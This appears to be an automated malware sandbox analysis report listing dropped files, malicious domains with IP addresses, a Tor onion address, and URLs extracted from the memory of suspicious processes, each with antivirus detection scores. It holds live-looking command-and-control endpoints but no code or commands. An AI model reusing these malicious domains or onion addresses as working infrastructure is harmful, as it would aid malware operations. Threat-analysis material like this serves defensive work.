C:\Program Files (x86)\PRingTone\bin\x86\is-C88M7.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-CJTE7.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-CNQNP.tmp	3%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-E9JM7.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-F9EQ0.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-FM16A.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-FU8V9.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-H0BA3.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-H0LN9.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-H37D9.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-I0QQT.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-I8NI2.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-IMAIO.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-IN8S5.tmp	0%	ReversingLabs
C:\Program Files (x86)\PRingTone\bin\x86\is-J6G3I.tmp	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
linkofstrumble.com	6%	Virustotal	Browse
ftpvoyager.cc	17%	Virustotal	Browse
cream.hitsturbo.com	19%	Virustotal	Browse
lightseinsteniki.org	21%	Virustotal	Browse
snukerukeutit.org	22%	Virustotal	Browse
sumagulituyo.org	22%	Virustotal	Browse
stualialuyastrelia.net	23%	Virustotal	Browse
dayfarrichjwclik.fun	19%	Virustotal	Browse
liuliuoumumy.org	21%	Virustotal	Browse
humydrole.com	16%	Virustotal	Browse
neighborhoodfeelsa.fun	20%	Virustotal	Browse
diagramfiremonkeyowwa.fun	19%	Virustotal	Browse
shpilliwilli.com	16%	Virustotal	Browse
reviveincapablewew.pw	2%	Virustotal	Browse
onualituyrs.org	20%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://tonimiuyaytre.org/	0%	URL Reputation	safe
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	0%	URL Reputation	safe
http://ocsps.ssl.com0Q	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tyiuiunuewqy.org/	0%	URL Reputation	safe
https://blockchain.infoindex	0%	URL Reputation	safe
https://outlook.com_	0%	URL Reputation	safe
http://liuliuoumumy.org/	0%	URL Reputation	safe
http://schemas.micro	0%	URL Reputation	safe
http://neighborhoodfeelsa.fun/apilr	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id12Response	0%	Avira URL Cloud	safe
https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionS	0%	Avira URL Cloud	safe
https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionSoftware	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id23ResponseD	0%	Avira URL Cloud	safe
http://diagramfiremonkeyowwa.fun/3~	100%	Avira URL Cloud	malware
http://tempuri.org/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id2Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id23ResponseD	1%	Virustotal		Browse
http://tempuri.org/Entity/Id21Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id6ResponseD	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id12Response	2%	Virustotal		Browse
http://tempuri.org/	1%	Virustotal		Browse
http://tempuri.org/Entity/Id21Response	4%	Virustotal		Browse
http://tempuri.org/Entity/Id13ResponseD	0%	Avira URL Cloud	safe
https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionCommonPr	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15Response	0%	Avira URL Cloud	safe
https://statscreate.orgC:	0%	Avira URL Cloud	safe
http://bfaausp.com/click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025	0%	Avira URL Cloud	safe
http://www.innosetup.com/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id2Response	2%	Virustotal		Browse
http://tempuri.org/Entity/Id1ResponseD	0%	Avira URL Cloud	safe
http://www.innosetup.com/	2%	Virustotal		Browse
http://tempuri.org/Entity/Id13ResponseD	1%	Virustotal		Browse
dayfarrichjwclik.fun	100%	Avira URL Cloud	malware
http://diagramfiremonkeyowwa.fun:80/api	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id6ResponseD	1%	Virustotal		Browse
http://tempuri.org/Entity/Id24Response	0%	Avira URL Cloud	safe
dayfarrichjwclik.fun	19%	Virustotal		Browse
http://tempuri.org/Entity/Id15Response	2%	Virustotal		Browse
http://https://_bad_pdb_file.pdb	0%	Avira URL Cloud	safe
http://neighborhoodfeelsa.fun/	100%	Avira URL Cloud	malware
http://diagramfiremonkeyowwa.fun:80/api	14%	Virustotal		Browse
http://tempuri.org/Entity/Id21ResponseD	0%	Avira URL Cloud	safe
http://stualialuyastrelia.net:80/	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id24Response	2%	Virustotal		Browse
politefrightenpowoa.pw	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id10ResponseD	0%	Avira URL Cloud	safe
http://neighborhoodfeelsa.fun/	20%	Virustotal		Browse
http://tempuri.org/Entity/Id5Response	0%	Avira URL Cloud	safe
http://stualialuyastrelia.net:80/	23%	Virustotal		Browse
http://tempuri.org/Entity/Id1ResponseD	1%	Virustotal		Browse
http://tempuri.org/Entity/Id21ResponseD	1%	Virustotal		Browse
http://tempuri.org/Entity/Id15ResponseD	0%	Avira URL Cloud	safe
http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionS-1-5-21-2246122658-3693405117-	0%	Avira URL Cloud	safe
politefrightenpowoa.pw	17%	Virustotal		Browse
http://tempuri.org/Entity/Id10Response	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id8Response	0%	Avira URL Cloud	safe
https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionSELECT	0%	Avira URL Cloud	safe
https:///phpMyAdmin//PhpMyAdmin//pma/rootmysqlimapssmtpspop3sscp://your_IP_is_greylisted_README.txt2	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5Response	2%	Virustotal		Browse
http://tempuri.org/Entity/Id10Response	2%	Virustotal		Browse
http://tempuri.org/D	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15ResponseD	1%	Virustotal		Browse
http://tempuri.org/D	1%	Virustotal		Browse
http://tempuri.org/Entity/Id8Response	2%	Virustotal		Browse
http://tempuri.org/Entity/Id10ResponseD	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
linkofstrumble.com	172.67.185.93	true	true	6%, Virustotal, Browse	unknown
ftpvoyager.cc	211.53.230.67	true	true	17%, Virustotal, Browse	unknown
cream.hitsturbo.com	104.21.46.59	true	true	19%, Virustotal, Browse	unknown
lightseinsteniki.org	34.143.166.163	true	true	21%, Virustotal, Browse	unknown
bfaausp.com	185.196.8.22	true	false		unknown
stualialuyastrelia.net	91.215.85.17	true	true	23%, Virustotal, Browse	unknown
snukerukeutit.org	104.198.2.251	true	false	22%, Virustotal, Browse	unknown
sumagulituyo.org	34.94.245.237	true	false	22%, Virustotal, Browse	unknown
humydrole.com	190.224.203.37	true	true	16%, Virustotal, Browse	unknown
dayfarrichjwclik.fun	172.67.174.181	true	true	19%, Virustotal, Browse	unknown
diagramfiremonkeyowwa.fun	172.67.183.217	true	false	19%, Virustotal, Browse	unknown
liuliuoumumy.org	34.143.166.163	true	true	21%, Virustotal, Browse	unknown
neighborhoodfeelsa.fun	104.21.87.137	true	true	20%, Virustotal, Browse	unknown
shpilliwilli.com	104.21.45.142	true	true	16%, Virustotal, Browse	unknown
onualituyrs.org	unknown	unknown	true	20%, Virustotal, Browse	unknown
reviveincapablewew.pw	unknown	unknown	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://tonimiuyaytre.org/	true	URL Reputation: safe	unknown
http://bfaausp.com/click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025	false	Avira URL Cloud: safe	unknown
http://tyiuiunuewqy.org/	true	URL Reputation: safe	unknown
dayfarrichjwclik.fun	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
politefrightenpowoa.pw	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://liuliuoumumy.org/	true	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://neighborhoodfeelsa.fun/apilr	826E.exe, 00000008.00000002.2919863680.00000000005FD000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.00000000005FD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/odirmr	explorer.exe, 00000001.00000000.1691646439.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	explorer.exe, 0000001D.00000003.2214498378.00000000031D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gcc.gnu.org/bugs/):	is-3UH5L.tmp.34.dr	false		high
http://cert.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.cer0	is-H37D9.tmp.34.dr	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	explorer.exe, 0000001D.00000003.2214498378.00000000031D1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id23ResponseD	8FEE.exe, 0000000C.00000002.2289445818.0000000003BC2000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionSoftware	C1FD.exe, 00000011.00000002.2223420658.000000000C140000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionS	C1FD.exe, 0000001B.00000002.4112561096.0000000000DE7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id12Response	8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000001.00000000.1693759664.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://diagramfiremonkeyowwa.fun/3~	933A.exe, 0000000D.00000002.3033448721.0000000000C76000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://tempuri.org/	8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id2Response	8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.torproject.org/	76D5.exe, 00000007.00000002.4105257211.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4105723641.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000001E.00000002.4105631861.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6ResponseD	8FEE.exe, 0000000C.00000002.2289445818.0000000003B54000.00000004.00000800.00020000.00000000.sdmp, 8FEE.exe, 0000000C.00000002.2289445818.0000000003F8F000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13ResponseD	8FEE.exe, 0000000C.00000002.2289445818.0000000003B54000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://statscreate.orghttp://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionCommonPr	C1FD.exe, 0000001B.00000002.4118997725.000000000C0B2000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp, 8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://turnitin.com/robot/crawlerinfo.html)cannot	C1FD.exe, 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000003.2160333190.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	8FEE.exe, 0000000C.00000002.2289445818.0000000003B54000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsps.ssl.com0Q	is-H37D9.tmp.34.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://statscreate.orgC:	C1FD.exe, 0000001B.00000002.4118997725.000000000C0D6000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.innosetup.com/	D5C5.exe, 0000001A.00000003.2185847320.0000000001F48000.00000004.00001000.00020000.00000000.sdmp, D5C5.exe, 0000001A.00000003.2185313801.0000000002230000.00000004.00001000.00020000.00000000.sdmp, D5C5.tmp, 0000001C.00000002.4104931007.0000000000401000.00000020.00000001.01000000.00000011.sdmp, D5C5.exe, 00000021.00000003.2206408875.00000000023A0000.00000004.00001000.00020000.00000000.sdmp, D5C5.exe, 00000021.00000003.2208096915.0000000002178000.00000004.00001000.00020000.00000000.sdmp, D5C5.tmp, 00000022.00000002.4105978572.0000000000401000.00000020.00000001.01000000.00000014.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000001.00000000.1695614160.000000000C964000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wns.windows.com/L	explorer.exe, 00000001.00000000.1695614160.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id1ResponseD	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000001.00000000.1691646439.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	explorer.exe, 0000001D.00000003.2214498378.00000000031D1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://diagramfiremonkeyowwa.fun:80/api	933A.exe, 0000000D.00000002.3033448721.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	explorer.exe, 0000001D.00000003.2214498378.00000000031D1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://https://_bad_pdb_file.pdb	C1FD.exe, 00000011.00000003.2160333190.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 00000011.00000002.2213490486.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000003.2202746123.0000000003D6B000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4114001709.000000000347C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.000000000369C000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000003.2257422234.0000000003F8B000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://www.cloudflare.com/5xx-error-landing	826E.exe, 00000008.00000002.2919721623.00000000005D7000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000002.2919863680.000000000060B000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2913568147.00000000005D1000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2913568147.000000000060B000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.000000000060B000.00000004.00000020.00020000.00000000.sdmp, 933A.exe, 0000000D.00000002.3033448721.0000000000C8B000.00000004.00000020.00020000.00000000.sdmp, 933A.exe, 0000000D.00000002.3033448721.0000000000CB7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://neighborhoodfeelsa.fun/	826E.exe, 00000008.00000003.2913568147.00000000005D1000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.00000000005E3000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000002.2919863680.00000000005E4000.00000004.00000020.00020000.00000000.sdmp, 933A.exe, 0000000D.00000002.3033448721.0000000000C6C000.00000004.00000020.00020000.00000000.sdmp	false	20%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://tempuri.org/Entity/Id21ResponseD	8FEE.exe, 0000000C.00000002.2289445818.0000000003F93000.00000004.00000800.00020000.00000000.sdmp, 8FEE.exe, 0000000C.00000002.2289445818.0000000003B54000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://stualialuyastrelia.net:80/	explorer.exe, 0000001D.00000002.2229065148.00000000031D7000.00000004.00000020.00020000.00000000.sdmp	false	23%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.google.com/feedfetcher.html)HKLM	C1FD.exe, 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000003.2160333190.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://blockchain.infoindex	C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.htmlTYPE=2OpenSSL	76D5.exe, 00000007.00000002.4105257211.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000000F.00000002.4105723641.0000000000400000.00000040.00000400.00020000.00000000.sdmp, csrss.exe, 0000001E.00000002.4105631861.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10ResponseD	8FEE.exe, 0000000C.00000002.2289445818.0000000003F7B000.00000004.00000800.00020000.00000000.sdmp, 8FEE.exe, 0000000C.00000002.2289445818.0000000003B54000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.com_	explorer.exe, 00000001.00000000.1695614160.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	low
http://tempuri.org/Entity/Id5Response	8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000001.00000000.1691646439.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15ResponseD	8FEE.exe, 0000000C.00000002.2289445818.0000000003BC2000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id10Response	8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://petas4zb2nd4xmyo2bozkq3g7y2grljlf5sqxwsm5khywam6sierhxad.onionS-1-5-21-2246122658-3693405117-	C1FD.exe, 0000001B.00000002.4118997725.000000000C0A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4115076867.000000000C00E000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	low
http://tempuri.org/Entity/Id8Response	8FEE.exe, 0000000C.00000002.2289445818.0000000003A61000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	8FEE.exe, 0000000C.00000002.2289445818.0000000003AFA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000001.00000000.1691646439.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false		high
